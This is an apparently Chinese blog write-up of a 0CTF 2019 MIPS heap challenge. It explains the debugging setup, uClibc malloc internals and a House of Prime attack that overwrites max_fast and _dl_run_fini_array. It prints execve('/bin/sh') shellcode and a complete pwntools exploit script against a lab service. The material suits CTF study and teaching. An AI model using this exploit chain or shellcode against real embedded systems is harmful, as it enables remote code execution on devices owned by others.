前言
复现了一下 2019 的 ctf 题目,这是一道 mips 的堆题,应该还是比较少见的,利用的攻击方式其实和 glibc 的差不多,这里重点讲解一下调试方法和利用方法。
环境准备
1. qemu-system-mips 大端系统
2. gdbserver 静态程序
3. socat 静态链接程序(方便连接连接端口)
4. 漏洞程序
gdbserver 可以下载静态编译的版本:https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver,相应的下载大小端即可
socat 的静态程序下载:https://github.com/darkerego/mips-binaries
- 参考:https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/
漏洞程序(这里直接给出大佬的链接):https://github.com/e3pem/CTF/tree/master/0ctf2019/embedded_heap
运行、调试环境搭建
运行环境的配置
首先将 embedded_heap 程序复制到 qemu 系统模式中的根目录下,可以使用 python -m SimpleHTTPServer
的方式复制:
ldd 查看是否链接库有没加载对:
可以发现这里是正确的,如果出现下面这种找不到的情况,就将打包文件夹下的 libc 和 ld 文件放到 /lib 目录下,对应好名称即可。
尝试运行,发现已经可以正常运行了:
调试环境的配置
将 gdbserver-7.12
、socat
静态链接的程序复制到根目录下,使用 gdbserver 调试的方法很简单:
root@debian-mips:/# ./gdbserver-mips 10.0.0.1:23456 ./embedded_heap
Process ./embedded_heap created; pid = 2857
Listening on port 23456
在本地宿主机运行 gdb-multiarch embedded_heap
,设置 target remote 10.0.0.1 23456
,如果发现是下面的情况:
gdb 中将 endian 设置成大端即可:
set arch mips
set endian big
设置后题调试正常:
部署程序
如果要将程序部署到某个端口上要怎么做呢?这里就使用最简单的 socat,当然也可以用 docker 来部署。
qemu_system 模式下的环境是不自带 socat,所以需要提前准备好 mips 架构的 socat 程序。
./socat tcp-listen:8888,fork exec:./embedded_heap
这里就在 8888 端口开启了一个服务端程序,使用 nc 连接上即可,使用 pwntools 也是一样的用法:
- 如果这里需要实现类似 pwntools 里面
gdb.attach
的用法的话,实现方法如下: - 在后台运行 socat 服务:
./socat tcp-listen:8888,fork exec:./embedded_heap &
- 使用
ps -aux | grep embedded_heap
找到运行起来的 embedded_heap 程序,获取到 PID 号
3 . 使用 gdbserver 附加程序进行调试:
./gdbserver-mips 10.0.0.1:3456 --attach 2730
4 . 宿主机使用 gdb-multiarch 连接上 3456 端口即可。
- 若 vmmap 查看的内存映射有错的话,可以查看 /proc 下的内存映射,这里堆、libc 堆地址都是准确的。
- 为了方便复现,这里先把 ASLR 关闭:
sh -c "echo '0' > /proc/sys/kernel/randomize_va_space"
uClibc 堆管理机制简单分析
到官网下载到 uClibc-0.9.33.2
的源码:https://www.uclibc.org/downloads/uClibc-0.9.33.2.tar.xz
解压到本地打开 libc/stdlib/malloc-standard/malloc.c
文件,找到两个比较重要的结构体,一个是 malloc_state,一个是 malloc_chunk:
malloc_state 用来管理整个堆结构的整体布局,和 glibc 一样,这里同时也存在 fastbins 等。这里有个比较小的差别是 max_fast 是位置是位于 malloc_state 结构体里,而 glibc 的 global_max_fast 是位于整个结构体外的。这个特点可以用来做一个扩展 fastbins 的攻击。
- 这里的攻击类似于使用 unsorted bin attack 将 global_max_fast 覆盖成一个大值的方法相同。
```
struct malloc_state {
/ The maximum chunk size to be eligible for fastbin /
size_t max_fast; / low 2 bits used as flags /
/ Fastbins /
mfastbinptr fastbins[NFASTBINS];
/ Base of the topmost chunk -- not otherwise kept in a bin /
mchunkptr top;
/ The remainder from the most recent split of a small request /
mchunkptr last_remainder;
/ Normal bins packed as described above /
mchunkptr bins[NBINS * 2];
/ Bitmap of bins. Trailing zero map handles cases of largest binned size /
unsigned int binmap[BINMAPSIZE+1];
/ Tunable parameters /
unsigned long trim_threshold;
size_t top_pad;
size_t mmap_threshold;
/ Memory map support /
int n_mmaps;
int n_mmaps_max;
int max_n_mmaps;
/ Cache malloc_getpagesize /
unsigned int pagesize;
/ Track properties of MORECORE /
unsigned int morecore_properties;
/ Statistics /
size_t mmapped_mem;
size_t sbrked_mem;
size_t max_sbrked_mem;
size_t max_mmapped_mem;
size_t max_total_mem;
};
```
malloc_chunk 的结构其实和 glibc 是一样的,所以在 glibc 上的攻击手法在这里同样适用:
```
struct malloc_chunk {
size_t prev_size; / Size of previous chunk (if free). /
size_t size; / Size in bytes, including overhead. /
struct malloc_chunk fd; / double links -- used only if free. /
struct malloc_chunk bk;
};
```
fastbins 的定义:
```
define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)
```
-
如果这里的 size 为 8 时,那么 fastbin_index = (8>>3)-2 = -1,为 -1 的话,当 free 一个大小为 8 的 chunk 之后,就会将堆的地址写入 max_fast 的位置(max_fast 刚好在 fastbins[NFASTBINS]; 前面的一个位置),达到扩展 fastbin 范围的目的。
-
关于 mips 的堆的源码分析可以看先知的这篇文章。
漏洞点分析
静态分析
使用 ghidra 进行分析,将程序加载进去,因为开启了 PIE 保护,所以这里设置 image 基地址为 0(默认是 10000):
根据运行的结果,总共有三个功能点:View、Update、Pwn
init 函数
大概就是随机 malloc 几块随机 size 的 chunk。
```
int FUN_00001140(void)
{
int __fd;
ssize_t sVar1;
void __addr;
void pvVar2;
int iVar3;
uint uVar4;
int local_30;
uint local_14;
uint local_10;
uint local_c;
setvbuf(stdin,(char )0x0,2,0);
setvbuf(stdout,(char )0x0,2,0);
alarm(200);
puts(
" ___ n / //// _/ _/ | / / / / / | / )n / ,< / / / / / |/ / / / / /| | / __ |n / /| |/ // // /| / /// |/ // /n// |_/_/// |_/ /// |_//n"
);
puts("===== Embedded Heap =====");
_fd = open("/dev/urandom",0);
if (-1 < fd) {
sVar1 = read(__fd,&local_14,0xc);
if (sVar1 == 0xc) {
close(__fd);
__addr = (void )(local_14 + (uint)((ulonglong)local_14 * 0x18004e01 >> 0x3b) * -0x55544000 +
0x10000 & 0xfffff000);
pvVar2 = mmap(__addr,0x1000,3,0x802,-1,0);
if (__addr != pvVar2) {
/ WARNING: Subroutine does not return /
exit(-1);
}
srand(local_c);
__fd = (int)__addr + (local_10 % 0xf40 & 0xfffffff0);
iVar3 = rand();
local_30 = 0;
while (local_30 < iVar3 % 0xd + 3) {
uVar4 = rand();
uVar4 = uVar4 & 0x800000ff;
if ((int)uVar4 < 0) {
uVar4 = (uVar4 - 1 | 0xffffff00) + 1;
}
mymalloc(__fd,uVar4);
local_30 = local_30 + 1;
}
FUN_00001038(__fd);
return __fd;
}
}
/ WARNING: Subroutine does not return */
exit(-1);
}
```
view 函数
将堆块里的内容使用 write 函数输出出来:
```
void FUN_000018a4(int iParm1)
{
int iVar1;
printf("Index: ");
iVar1 = get_int();
if (((iVar1 < 0) || (0xf < iVar1)) || ((int )(iParm1 + iVar1 * 0xc) != 1)) {
puts("Invalid Index");
}
else {
printf("Chunk[%d]: ",iVar1);
show_content((undefined4 )(iParm1 + iVar1 * 0xc + 8),(undefined4 )(iParm1 + iVar1 * 0xc + 4)
);
}
return;
}
```
update 函数
重新填充堆块的内容,因为这里的 size 值可控,所以存在堆溢出。
```
void FUN_0000157c(int iParm1)
{
int iVar1;
int size;
printf("Index: ");
iVar1 = get_int();
if (((iVar1 < 0) || (0xf < iVar1)) || ((int )(iParm1 + iVar1 * 0xc) != 1)) {
puts("Invalid Index");
}
else {
printf("Size: ");
size = get_int();
if (0 < size) {
printf("Content: ");
((code )0xad0)((undefined4 )(iParm1 + iVar1 * 0xc + 8),size);
printf("Chunk %d Updatedn",iVar1);
}
}
return;
}
```
pwn 函数
这里可以进行两次的 free 和一个的 update 操作:
if (iVar2 == 3) {
FUN_00001720(uVar1);
puts("One more time! Try it harder!");
FUN_00001720(uVar1);
puts("Everything is still fine. Is that all you got?");
undate(uVar1);
return 0;
}
FUN_00001720 函数指定 index 之后就行 free 的操作,这里不存在 UAF:
```
void FUN_00001720(int iParm1)
{
int index;
printf("Index: ");
index = get_int();
if (((index < 0) || (0xf < index)) || ((int )(iParm1 + index * 0xc) != 1)) {
puts("Invalid Index");
}
else {
(undefined4 )(iParm1 + index * 0xc) = 0;
(undefined4 )(iParm1 + index * 0xc + 4) = 0;
free((void )(iParm1 + index * 0xc + 8));
(undefined4 *)(iParm1 + index * 0xc + 8) = 0;
printf("Chunk %d Deletedn",index);
}
return;
}
```
漏洞利用
整体利用思路
参考文章中的思路,这里可以使用 House of Prime
这个技巧来进行攻击,通过溢出将下一个 chunk 的 size 覆盖为 8,free 掉这个 size 之后,就会将当前堆的地址写入到 malloc_state 当中的前一个位置,这里刚好是 max_fast 的地址。这时候不管之后 free 的 size 的大小为多少,都会当作 fastbin 来对待。
这样再通过一次溢出,将写一个 chunk 的 size 改成一个精心控制的值,就可以向一定范围内写入一个堆地址(fastbin 机制的特点,不清楚的可以去 ctfwiki 上看看!)。
那么这里可以借鉴格式化字符串漏洞的利用方法,将某个地址写入到 .fini.array 区段中,程序在退出时,就会返回到这个地址中。
获取 libc 基地址
查看 /proc/2730/maps
获取 libc 的基地址:0x77f78000
:
root@debian-mips:/# cat /proc/2402/maps
2633a000-2633b000 rw-p 00000000 00:00 0
55550000-55552000 r-xp 00000000 08:01 14 /embedded_heap
55561000-55562000 r--p 00001000 08:01 14 /embedded_heap
55562000-55563000 rw-p 00002000 08:01 14 /embedded_heap
55563000-55564000 rwxp 00000000 00:00 0 [heap]
77f78000-77fca000 r-xp 00000000 08:01 787636 /lib/libc.so.0
77fca000-77fd9000 ---p 00000000 00:00 0
77fd9000-77fda000 r--p 00051000 08:01 787636 /lib/libc.so.0
77fda000-77fdb000 rw-p 00052000 08:01 787636 /lib/libc.so.0
77fdb000-77fe0000 rw-p 00000000 00:00 0
77fe0000-77fe7000 r-xp 00000000 08:01 787634 /lib/ld-uClibc.so.0
77ff4000-77ff6000 rw-p 00000000 00:00 0
77ff6000-77ff7000 r--p 00006000 08:01 787634 /lib/ld-uClibc.so.0
77ff7000-77ff8000 rw-p 00007000 08:01 787634 /lib/ld-uClibc.so.0
7ffd6000-7fff7000 rw-p 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]
- 同时发现这里的 heap 区域是 rwx,也就是不存在 NX 保护,可以直接将程序控制流劫持到这里执行 shellcode。
将堆地址写入 max_fast
通过第一个 chunk 的溢出,将下一个 chunk 的 size 修改成 9:
payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1] # size 改成 9 ,其中一位为标志位。
update(p,0,ck0_size+0x10,payload)
malloc_state 地址的查找,动态调试查看变化:
使用 IDA 打开 libc.so.0 文件,找到 malloc_trim
函数,往下滑双击就可以看到这个地址:
malloc_state 在 libc 中的偏移地址为:0x00066D7C
使用 gdb-multiarch 进行调试:
delete(1) 之前大小为 0x48:
delete(1) 之后就会向这个位置写入一个堆地址:
将堆地址写入到 _dl_run_fini_array
_dl_run_fini_array
的作用类似于上面说的 .fini.array,只不过这个是在 ld 的区段中。
vmmap 获取 ld 的加载地址为:0x77fe0000
,在 IDA 中获取到 _dl_run_fini_array 的偏移为 0x00017064:
通过计算得到需要更改的 size 为 0x305d9 ,具体的计算方法可以查看参考文章。
在调用 pwn 函数之前,先 update 一个 chunk:
payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
update(p,2,ck2_size+0x10,payload)
gdb 调试时查看相应位置的值:
delete(3) 之前:
pwndbg> x/10xw 0x77fe0000+0x00017064
0x77ff7064: 0x77fe16e4 <-- got 表的值 0x77ff71ac 0x77fe187c 0x77ff716c
0x77ff7074: 0x77fe19d0 0x77ff719c 0x77fe1e34 0x77ff7010
0x77ff7084: 0x77ff7194 0x77ff71b8
delete(3) 之后,这里已经是被修改成了堆地址了,所以现在我们退出程序时,就会 call 这个地址。
pwndbg> x/10xw 0x77fe0000+0x00017064
0x77ff7064: 0x555631b0 <-- got 表的值 0x77ff71ac 0x77fe187c 0x77ff716c
0x77ff7074: 0x77fe19d0 0x77ff719c 0x77fe1e34 0x77ff7010
0x77ff7084: 0x77ff7194 0x77ff71b8
pwndbg> x/20xw 0x555631b0
0x555631b0: 0x61616161 0x000305d9 0x77fe16e4 0x00000000
0x555631c0: 0x0000000a 0x00000000 0x00000000 0x00000000
0x555631d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x555631e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x555631f0: 0x00000000 0x00000000 0x00000000 0x00000000
于是这里我们只需要把这个堆地址的内容提前填充成 shellcode 就行。
shellcode 可以使用 msf 生成,也可以直接找现成的。
- 这里使用这个 shellcode,执行 execve("/bin/sh"):
x28x06xffxffx3cx0fx2fx2fx35xefx62x69xafxafxffxf4x3cx0ex6ex2fx35xcex73x68xafxaexffxf8xafxa0xffxfcx27xa4xffxf4x28x05xffxffx24x02x0fxabx01x01x01x0c
运行 EXP getshell:
EXP:
这里引用了大佬的 exp:
```
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
def update(p,idx,size,content):
sla(p,'Command: ',str(1))
sla(p,'Index: ',str(idx))
sla(p,'Size: ',str(size))
sla(p,'Content: ',str(content))
def get_chunk_size(size):
if size%4==0:
if size%8==0:
size = size+4
else:
pass
else:
size = size+4-size%4
if size%8==0:
size = size+4
if size <= 8:
size = 12
return size
def delete(p,idx):
sla(p,'Index: ',str(idx))
def pwn():
DEBUG = 0
context.arch = 'mips'
context.endian = 'big'
BIN_PATH = './embedded_heap'
elf = ELF(BIN_PATH)
if DEBUG == 1:
p = process(BIN_PATH)
#context.log_level = 'debug'
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote('10.0.0.1',8888)
# libc = ELF('./libc_32.so.6')
#context.log_level = 'debug'
# 0x5555#55554000
ru(p,'Chunk[0]: ')
ck0_size = int(ru(p,' ')[:-1])
ck0_size = get_chunk_size(ck0_size)
ru(p,'Chunk[2]: ')
ck2_size = int(ru(p,' ')[:-1])
ck2_size = get_chunk_size(ck2_size)
log.info('chunk 0 size: '+str(ck0_size))
log.info('chunk 1 size: '+str(ck2_size))
payload = 'a'*ck0_size+p32(8+1)+p32(0)+p32(0x11)+p32(0)[:-1]
update(p,0,ck0_size+0x10,payload)
payload = 'a'*ck2_size+p32(0x305d9)+p32(0)*2+p32(0)[:-1]
update(p,2,ck2_size+0x10,payload)
# pwn
sla(p,'Command: ',str(3))
delete(p,1)
sla(p,'Index:',str(3))
#delete(p,3)
#sla(p,'Index: ',str(3))
sc = "x28x06xffxffx3cx0fx2fx2fx35xefx62x69xafxafxffxf4x3cx0ex6ex2fx35xcex73x68xafxaexffxf8xafxa0xffxfcx27xa4xffxf4x28x05xffxffx24x02x0fxabx01x01x01x0c"
sla(p,"Index:",str(2))
sla(p,'Size: ',str(ck2_size+0xff))
sa(p,"Content:",'a'*(ck2_size-4)+sc.ljust(0xff+4,"x61"))
p.interactive()
pwn()
```
参考文章
- https://e3pem.github.io/2019/08/26/0ctf-2019/embedded_heap/
点击上方蓝字关注公众号A技术应用背景:目前已知在杀毒厂商以及游戏厂商的安全对抗过程中,常常需要准确的监控收集并进行检测用户创建打开的EXE应用程序是否是安全的。同时也可以将此技术应用于其他应用的安全对抗方案中。那么如何去准确的监控和收集用户每次点击打开的EXE…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论